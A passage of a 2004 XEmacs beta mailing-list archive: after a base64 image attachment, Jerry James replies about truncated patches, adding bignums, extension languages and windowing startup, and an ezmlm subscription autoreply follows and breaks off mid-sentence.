Xx4VDsP2kiPKA3HSv3RWtL+YR0lhZi2EdJX5RLYyoGA0x876yc6ix1xFhgMCeq6QrQwQEVm9 enXWTfCkEzdTHlbrJLSJt0aEw0pKQCTWEO+aL8w1NZj1pKjrmVLr8kTXGRvndq9sZZpzPoFS mMW7ZgMJIVsZICKyaNEi690VK1asWbMmdGnOfGGu7zT9jYG2h8hcFrEW9UMM5PMvRIdnvTwK bMWKFSKyYcOGrBvSJAjxOReuwxPlUWw9PQQmlEiIDk+UR1EZ4xoDw3k0vdAdniiPAjPGNcuX L5dogd5IHmLb4rWbc0/nxkBVx1haoBKC1qXYk7O7sfD9c4Tr8Jx9RSFZxzUisnz58rVr14Yu LcNsZa4XxEb5zAi3Wj/KBVycs42LIltZlA7PWB7FY/R45wQl8zYJIY6nxvVjPmKHZyyPQnL2 +HDD+XizlTmX2CvymgVKSZZ5/jIvfABEp5OtLEqHJ8qjYIxxjVf/DjScjz1bmfNCJ/Xhzop0 2qmz/t03+Orn2yGOZyt6hyfKo3jynOEgCa4RWXEiIWiWBcX++pP7CM03W1nEDk+UR8GsWbPG dvlrGbhmM3bdM/bIa/04IawnzZnKJnqH5+wrkLagS2gCLXbUzHOpaeX1PeY/Cf6NAYGQrQwQ cSwpiyKFbGWKHGSKiqw3jAirf/bV61Se60kFZ5lesdt8skT25Li+ttE7fGXp0qWrVq1auHDh I+t+07v9pbVPPhmxRCAhxjTlhRdeqLPzqR//uIhMmTFDRIb7+oyNOzdvFpHuBQuSaWCJEO5T EKLDGz575pnLli0TkV/c/8B137qWsTwKZs2aNStWrHDN5rF27dpFixbFONiHF0J8aqJ3eObl UUiLF9vnJaJc+wrkXJQOT5RH8Rj5tZ39voRrb1AGETs8MzYoJONrrHk34kDeubZB/YtLzsti Jewkhq2i6Ne4hjhPG/3iW6bpY6FYYxOlwxPlUWCLFy/u6ekxenyUgTzZyqJc/kqIj4siW5kh XIdnxgZFZf1dNOZqkkMQT5PiYz50h2csj2JbvHhxlOkaspVFxGdAdDrZykwhOjxRHgVmTFaG HsiTrcx2lKIBmnsiUeE6PFEeReJ6hUjTL5DPMFuZs1KSHMROka0slg5PlEdhaF4E2JQyzFaG NFkn+uLq8KoMB2beSyAP7n/22aCHKDIc0L2RcyE6vMGW4YA1NiiGMg/kUUIxdnj/GRveXYjI ugLMypheNB613vbaMwl07yi8/l5wlVWHZ14eyVq9erVzSYDZiW2Pqrs+csX1LwtX2XZ43Sjv mhENUHNd2Gv+IL3z0Z6ensWLF69YsSLlQE/3DorccPoy7/CM5ZEec0SjiKpmvxcG9Si4nHR4 ojzSoNPdTcY+xHoUV646PFEeiTO/sQY6ytb1gaLIW4cnyiNxa9as2bBhg3F7+fLlmkcZk5j8 /BMKJ28dnvXySMOiRYuMpQWaZ+3M3Kqs4kAR5arDM5ZHehYtWrRhwwajQ3uNccx3BfEdRZeT Dq8V5VevXp1Q9SgboyubXd8m+u+BhED3RnLy0OH9ozzvAcTO7Pqu29NE90YKsu3wPlGe67+R ppTPstK9ka10Orzq7CvvATQxujdKQjWWn7PhrtTaAfh69NMnae55460/+3Zfu3ofujdyLq4O z0pKNJsbb/1Z1k0A0uPb4TXW2Gx+KZ62ADlE90azYywPAM2MKA8AzSxqlF9z2Q98txgq5x3o 3GL7F7ExvrKqIsZ6K+ddId4vciBrLvuB8S96UfEynmPmrK+P9VXy2m7KZ1ePpeqkWx77O0Vi 6ucJvU3CFRv0DRI+yls7utcNq8ate6x/wsp5BzZu3WNsN/+Fbowvs3/H9R7TLCTeeivnXdG4 9WLXh0J0lxWXnG3+N5YCfcvRLLNx68U5CfTGi+Nsttd2Qw67utGG5Oq1Pd9wJSTxTllz2Q9W XHK2VyePLkT31i/Q66Ggb5DwUd76wjnjhevLavZ+s9+nxlpdmlXHWK8ixIt3sM6VQjTSynxf 2Vrutd2U266eQmPCVZH0OyWFvhdLFUm0M9JYXvZvk3OLk9H7rX9F29dY2+e5bTwS6K61XuOu rfcELdDZSNc9be131psExZSCztdV2/yD865X+eq7rsU6y3TOfuRhOG+MAZ392Wu7TX66uusn jbMEZ0sUkzyuhzvbo9hN3N5T8b5TjIG8c6Oz47necH3XKPqtfvdWt9lWiOtbKdAbJNJY3jaE d25xcvYY59dYs1Nae6ftK6fXXXOLrbuYD3kd4vqV1qs6a1HOA63NdtabNPMrqu3vohPozd2s f0ezQGsJZuG2b8S2u179wVmmtfZccY0Uiu2m/HR117YZu9mmdGwtMUtzfpBYt3tV51WL9VuO tbUpvFO8Op44/qCu7xrb4Yl2b9sb2Te0Kvivl7d+OfX9oqo41tzoHOPYeHVfxc62DqfD6xD1 Xd+WBDokCbYuGOhAr4dcC1SXH1ft5oDFOnhR3A5Uqeh1b53tee7qOoL23nBtsH1+pPZNV8E2 IvEV+5tLcUi4upz8o7zvbLvmsbL/aai45iutZYr3kMSV656hGxbXM4rOdWyScoFx1W4N3Dq3 g1J3b3MIZhuIObfnvKs7C4koRNUJFaIprg4Z+5srhbrS+xUR5zdB5zydetRjfvJbv/eZHcVW gm+/sR2iHlk4a3d9SF1jvPQHnl4jAnOmz3dUrhhTWB9VRL1AZeaQ13dt1+156+rWOZOgXwi8 vu/qHK7ezflEYuf8jqXf8by+v8bevUOf4ddXWbp06apVqxYuXPjIut/0bn9p7ZNPmo+9kiuH S8BzQ73MxlU6g47YhXimphsfelREjORNU2bMEJHhvj7joZ2bN4tI94IFQvfWkJ+vp0FF6T9S hHeN9QlaO7zhs2eeuWzZMhH5xf0PXPeta7n2tUjysPIkBRHfokBzv1OCvkGI8gVThvBXhueI pDVxLwr61Hzm5UniWnh/vNj4QldaWx57zOshurfad86TGx/KuhGZaK53jWosz3sARUeIB1Rj ed9f20GBPPqTq6133/SeT2fVkjQZJ1pd0b1REuHn5W++YHGgnXX2N3az7em8q1laaNbCvSoK 2oZwzQ703NUPBaoXQNNQjeWdoWHl9T2ut32tvL7HN9DcfMFi1zJtG427yYUtWzO8nqbOM3KW GbTZgZ67V5OM2h/9k0A1A2gSqrG8EVNWXt9j/EurSQCA2Ghd+2ob3poDRnOjsYNzu2iPXo3d bCW4FqguQXNnRSHWJ+VaoNd42at29atn3PW6rfl0FC+y1zckACXhH+Wd4cY5b2CGePMh2w3x C/dGCaEnZ2wV2aJquDDnWrvrM1LU7lWsuaft09Hrc05B/0UGUEI1efjhnz38sIg0RJa0t8sp p9j20J+AznbMqJit1i8h9FNQnPbM8GVhIA+U0G/PPfdfRSr77tZE5N3nnFOpVifHx393992u xxQiUmTbyEK8RABK4j3nnFOpVkXkm3fcURWRtq6u1s7Ozu7urBsWj3CzFnENe22rMBnIA0jf 1FmzWjs7Wzs7RaSyVOQDxx8vIlMOOmjzQw/9yDJjY5t5d90u3rPJzrOIirjjWpezIudG14ps JWuewFSfZXU9K+tcIqk4JaBzjtosM/Rzdz0pImW9KgoooZPvvvuN73rXYG+viPzjb35TWSqy rL1dRKbPn9///PM/cszLl0ESw968DeSJ8kBJnHz33fOPPnrPpk0ict/oaE1EdoyOikhj82Zj HqeEkgjHnCcAkJU9mzbtGB01TsDWRGS3SEOkfWzsgHYyewBA4b08Orp73+2aiBi/o3OAyAFZ tQjJY4oGKI/BfYFdjCg/KiIiY1k1BwAQq7F9gV34rSgAaG5EeQBoNg3LbXsem8c8Ln8FABTC yfvfrYkl3cERJ510u14plfe9L8Y2AQB89Zx7ruYJ1Jctgb2yVGS6iIgcJDJf7/ghkU9uei5w AwEAEXztyCOeD3hIvzGWNxbJD4g87bGfOcVjfDgsEhkaGQnRRABAaK37wrWINCyjdbWaiLSJ VPaF8sq+g61FmA8ZWkSGB4djaTQAQJMtysv+Udr1tphRXiyBXvaP8tZzteYxo4zlASBdNZE2 t5jsygzpNRFpDVjThMjWF7cGPAgAEEmL8uf9vOZwKkvD1bY05HEAgJAefjjEQf8f4yrIYSBN G/sAAAAASUVORK5CYII= --=-=-= What are those arrows on the right side? I don't really know what's going on here, but I don't think it looks right. Regards, Vin --=-=-=-- From xemacs-beta-admin@xemacs.org Thu Apr 22 23:17:21 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N3H6s20058; Thu, 22 Apr 2004 23:17:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N3GvD19893 for xemacs-beta-mailman@xemacs.org; Thu, 22 Apr 2004 23:16:57 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N3Guu19879 for turnbull@tux.org; Thu, 22 Apr 2004 23:16:56 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N3Gts19861; Thu, 22 Apr 2004 23:16:55 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3N3GcDu010142; Thu, 22 Apr 2004 22:16:38 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3N3Gbtu022740; Thu, 22 Apr 2004 22:16:37 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3N3GXYr022738; Thu, 22 Apr 2004 22:16:33 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: "Stephen J. Turnbull" Cc: XEmacs Beta Subject: Re: [Q21.4] truncate range error References: <85brlob90y.fsf@junk.nocrew.org> <877jwbtfq7.fsf@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Thu, 22 Apr 2004 22:16:33 -0500 In-Reply-To: <877jwbtfq7.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Tue, 20 Apr 2004 13:50:40 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" wrote: >>>>>> "Jerry" == Jerry James writes: > > Jerry> Bummer. That's the third patch of mine to get mangled or > Jerry> truncated in the last couple of months. I am living on the > Jerry> bleeding edge, though (CVS XEmacs 21.5 and CVS packages, > Jerry> with only slight delays in updating). Attaching the patch > Jerry> has worked in the past, so I'll try that. > > I've seen this too, a lot. > > I'm trying to dig up the reference to a known problem with CVS, ssh, > and pipes. I can't remember where I saw it, though. :-( > > Are you doing cvs diffs via :ext or :pserver? I do it with :pserver when reading, and with :ext when committing. That means patches are generated with :pserver. But I think this is barking up the wrong tree, since a later message of mine got truncated in the middle of a sentence, and I just had a problem earlier today with sending a PDF file because of a truncation. This seems to be a generic CVS XEmacs + Gnus problem. If I can figure out how to trigger it reliably, I'll see if I can track it down. -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Thu Apr 22 23:21:13 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N3L3s22742; Thu, 22 Apr 2004 23:21:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N3Khn22518 for xemacs-beta-mailman@xemacs.org; Thu, 22 Apr 2004 23:20:43 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N3Kg922495 for turnbull@tux.org; Thu, 22 Apr 2004 23:20:42 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N3Kfs22483 for ; Thu, 22 Apr 2004 23:20:41 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3N3K0Du010437; Thu, 22 Apr 2004 22:20:00 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3N3K0tu022745; Thu, 22 Apr 2004 22:20:00 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3N3Jx7n022743; Thu, 22 Apr 2004 22:19:59 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: Lars Brinkhoff Cc: XEmacs Beta Subject: Re: [Q21.4] truncate range error References: <85brlob90y.fsf@junk.nocrew.org> <85hdvf9ock.fsf@junk.nocrew.org> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Thu, 22 Apr 2004 22:19:59 -0500 In-Reply-To: <85hdvf9ock.fsf@junk.nocrew.org> (Lars Brinkhoff's message of "20 Apr 2004 08:04:43 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Lars Brinkhoff wrote: > Jerry James writes: >> Bummer. That's the third patch of mine to get mangled or truncated >> in the last couple of months. [...] If that doesn't work, it will >> have to wait until Wednesday. >> >> Wait. Lars! I sent the patch directl > > I'm guessing the rest would be something like "...y to you, so could > you please resend it?". > > Sorry, I got it truncated too. No, it was something like "...y to you. Was it truncated when you got it? That will tell me whether the problem is occurring before or after tux.org gets its hands on the message." So now it appears pretty certain that the mail is already truncated when it leaves my computer. I'll bet that Gnus is tickling yet another XEmacs bug ... and there's a nonzero probability that the bug is my fault. -- Jerry James, destabilizing XEmacs for fun and profit http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Thu Apr 22 23:31:14 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N3V3s29925; Thu, 22 Apr 2004 23:31:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N3Tg728510 for xemacs-beta-mailman@xemacs.org; Thu, 22 Apr 2004 23:29:42 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N3TfX28490 for turnbull@tux.org; Thu, 22 Apr 2004 23:29:41 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N3Tcs28434; Thu, 22 Apr 2004 23:29:38 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3N3TIDu011591; Thu, 22 Apr 2004 22:29:18 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3N3TItu022759; Thu, 22 Apr 2004 22:29:18 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3N3TIQ4022757; Thu, 22 Apr 2004 22:29:18 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: Hrvoje Niksic Cc: "Stephen J. Turnbull" , XEmacs Beta Subject: Re: [21.5] Tweak etc/NEWS References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Thu, 22 Apr 2004 22:29:18 -0500 In-Reply-To: (Hrvoje Niksic's message of "Tue, 20 Apr 2004 14:07:58 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hrvoje Niksic wrote: > 1. I like bignums. A lot. My gratitude goes to Jerry for adding > them. (In fact, I planned to do so a long time ago, but got scared > away by the compiler issues.) > > In fact, I like bignums so much that I'd like them to become a > "required" part of XEmacs. "required" in the sense that XEmacs > cannot be built without them and that the users (including us!) can > rely on them being present. This sounds controversial, but it's > not -- it has always been the case with Python, clisp, CMU CL, and > in fact any decent Lisp or Scheme implementations. Great! I admit that I never intended for them to be "required" in this sense, but I can see that that would be a good thing in the long run. > 2. If bignums are to become required in the above sense, we should > ship a simple bignum implementation with XEmacs, for the machines > that don't have one (think Windows, off-the-shelf Unix, and Linux > distros without libgmp-devel). It doesn't have to be fast or have > any bells and whistles, but it should be there. We could, but to what extent will we be reimplementing GMP? I'll have to think about this some, but I wonder if we couldn't arrange to just drop a GMP source library into the XEmacs source tree somewhere, and automatically build it into the XEmacs executable (if there is no prebuilt GMP library on the system, of course). That way, we wouldn't get sucked into supporting extended numeric types; we would be consumers of such technology, rather than providers. > 3. Before we proceed with #1, we should take a look at the performance > ramifications. We don't have a compiler with fixnum hints and > declarations, so *all* integer operations will be checked for > overflow. Maybe it's not a big deal at all -- Python seems to > manage fine without it -- but I'd like to know for sure. Definitely. I think we should start talking about how to build the benchmarks that will tell us what we want to know. > On the one hand, I find it somewhat alarming that bignum support > has been committed to CVS without any prior benchmarking. On the > other hand, I'm as called as anyone to do the benchmarking, so I'm > not complaining *too* hard. :-) I take responsibility for that. My reasons for committing without benchmarking are entirely nontechnical. I've been working on this for nigh on 2 years now, and things are afoot in my life that would have made it take another 2 years if I had waited until the bignum support was absolutely perfect. I figured a commit now would make it possible for other developers to give me a hand when I could not get around to doing something myself. > I'm not proposing using bignums for buffer internals, if that's what > you mean. They might be used to raise the buffer max. size limit from > 1G to 2G or 4G, but even I concede that that would too much work for > very little gain. Right. We probably need to figure out how to edit files that are not all in memory at From xemacs-beta-admin@xemacs.org Thu Apr 22 23:39:14 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N3d3s03456; Thu, 22 Apr 2004 23:39:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N3cKY02957 for xemacs-beta-mailman@xemacs.org; Thu, 22 Apr 2004 23:38:20 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N3cI302915 for turnbull@tux.org; Thu, 22 Apr 2004 23:38:18 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N3cHs02904; Thu, 22 Apr 2004 23:38:17 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3N3c8Du012632; Thu, 22 Apr 2004 22:38:08 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3N3c8tu023425; Thu, 22 Apr 2004 22:38:08 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3N3c8pQ023423; Thu, 22 Apr 2004 22:38:08 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: "Stephen J. Turnbull" Cc: XEmacs Beta Subject: Re: XEmacs lisp engine References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> <873c6xrgc0.fsf@tleepslib.sk.tsukuba.ac.jp> <87y8opo4hb.fsf@tleepslib.sk.tsukuba.ac.jp> <87hdvdntum.fsf@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Thu, 22 Apr 2004 22:38:08 -0500 In-Reply-To: <87hdvdntum.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Thu, 22 Apr 2004 02:06:41 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" wrote: >>>>>> "dvl" == Didier Verna writes: > > dvl> Is there a chance that XEmacs will have a real lisp > dvl> engine instead of elisp in a (how distant ?) future ? > > Technically, yes. Mike is certainly capable, there are probably > others, including a lot of X?Emacs users who don't generally hang out > here. But politically, things are split three ways: GNU Emacs will > probably go Guile, Mike---our resident Lispish implementer---likes > Scheme, and most of the people with practical interest seem to want > Common Lisp. Eiffel! No, ML! Wait, Haskell! Actually, I've been thinking about this myself recently, but from a slightly broader perspective. What I've been wondering is, if I were to to chuck everything and start over, which extension language would I choose today, and why? The answer to that question would lead to something that is not XEmacs, though, but a competitor of both Emacs and XEmacs. -- Jerry "I survived the Language Wars" James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Fri Apr 23 00:23:22 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N4N6s02869; Fri, 23 Apr 2004 00:23:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N4MBC02277 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 00:22:11 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N4MBF02264 for turnbull@tux.org; Fri, 23 Apr 2004 00:22:11 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N4MAs02256 for ; Fri, 23 Apr 2004 00:22:10 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3N4LuDu017308; Thu, 22 Apr 2004 23:21:56 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3N4Lttu026761; Thu, 22 Apr 2004 23:21:55 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3N4LtqB026759; Thu, 22 Apr 2004 23:21:55 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: XEmacs Beta Discussion Cc: "David A. Cobb" Subject: Re: Q: Where is decision on windowing? References: <4086F2CE.2080106@cox.net> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Thu, 22 Apr 2004 23:21:55 -0500 In-Reply-To: <4086F2CE.2080106@cox.net> (David A. Cobb's message of "Wed, 21 Apr 2004 18:16:46 -0400") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "David A. Cobb" wrote: > I have a Xemacs-21.5-b16 build made for i686-pc-Cygwin [by Dr. Volker > Zell]. When it starts, it comes up in non-windowing mode, driving my rxvt > terminal -- I want MSWindow behavior. > Volker says this doesn't happen at his site, so I'm left to figure out what's > different here. > > Would someone please point me toward where in the startup spaghetti Xemacs > decides what windowing system is available / desired? Check out init_redisplay in src/redisplay.c. It sets Vinitial_window_system, which is used by some Lisp code to create the initial console and device. What does (device-list) evaluate to? How about (console-list)? -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Fri Apr 23 00:07:22 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N473s23744; Fri, 23 Apr 2004 00:07:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N46pE23555 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 00:06:51 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N46iM23457 for turnbull@tux.org; Fri, 23 Apr 2004 00:06:44 -0400 Received: from h68.sfo.collab.net (h68-v0.sfo.collab.net [64.125.132.232]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3N46hs23439 for ; Fri, 23 Apr 2004 00:06:43 -0400 Received: (qmail 19293 invoked by uid 204); 23 Apr 2004 04:06:38 -0000 Mailing-List: contact bug-help@ccvs.cvshome.org; run by ezmlm Date: 23 Apr 2004 04:06:38 -0000 Message-ID: <1082693198.19292.ezmlm@ccvs.cvshome.org> From: bug-help@ccvs.cvshome.org To: xemacs-beta@xemacs.org Delivered-To: responder for bug@ccvs.cvshome.org Received: (qmail 19209 invoked from network); 23 Apr 2004 04:06:35 -0000 Received: from unknown (HELO ccvs.cvshome.org) (61.247.254.29) by h68.sfo.collab.net with SMTP; 23 Apr 2004 04:06:35 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Reply-To: bug-sc.1082693198.jilnibpjbmgdgobbcfpk-xemacs-beta=xemacs.org@ccvs.cvshome.org Subject: confirm subscribe to bug@ccvs.cvshome.org X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=2.9 required=5.0 tests=LARGE_HEX, MSGID_FROM_MTA_HEADER,NO_REAL_NAME,UPPERCASE_25_50 autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hi! This is the ezmlm program. I'm managing the bug@ccvs.cvshome.org mailing list. To confirm that you would like xemacs-beta@xemacs.org added to the bug mailing list, please send an empty reply to this address: bug-sc.1082693198.jilnibpjbmgdgobbcfpk-xemacs-beta=xemacs.org@ccvs.cvshome.org Usually, this happens when you just hit the "reply" button. If this does not work, simply copy the address and paste it into the "To:" field of a new message. This confirmation serves two purposes. First, it verifies that I am able to get mail through to you. Second, it protects you in case someone forges a subscription request in your name. Some mail programs are broken and cannot handle long addresses. If you cannot reply to this request, instead send a message to and put the entire address listed above into the "Subject:" line. --- Administrative commands for the bug list --- I can handle administrative requests automatically. Please do not send them to the list address! Instead, send your message to the correct command address: To subscribe to the list, send a message to: To remove your address from the list, send a message to: Send mail to the following for info and FAQ for this list: Similar addresses exist for the digest list: To get messages 123 through 145 (a maximum of 100 per request), mail: To get an index with subject and author for messages 123-456 , mail: They are always returned as sets of 100, max 2000 per request, so you'll actually get 100-499. To receive all messages with the same subject as message 12345, send an empty message to: The messages do not really need to be empty, but I will ignore 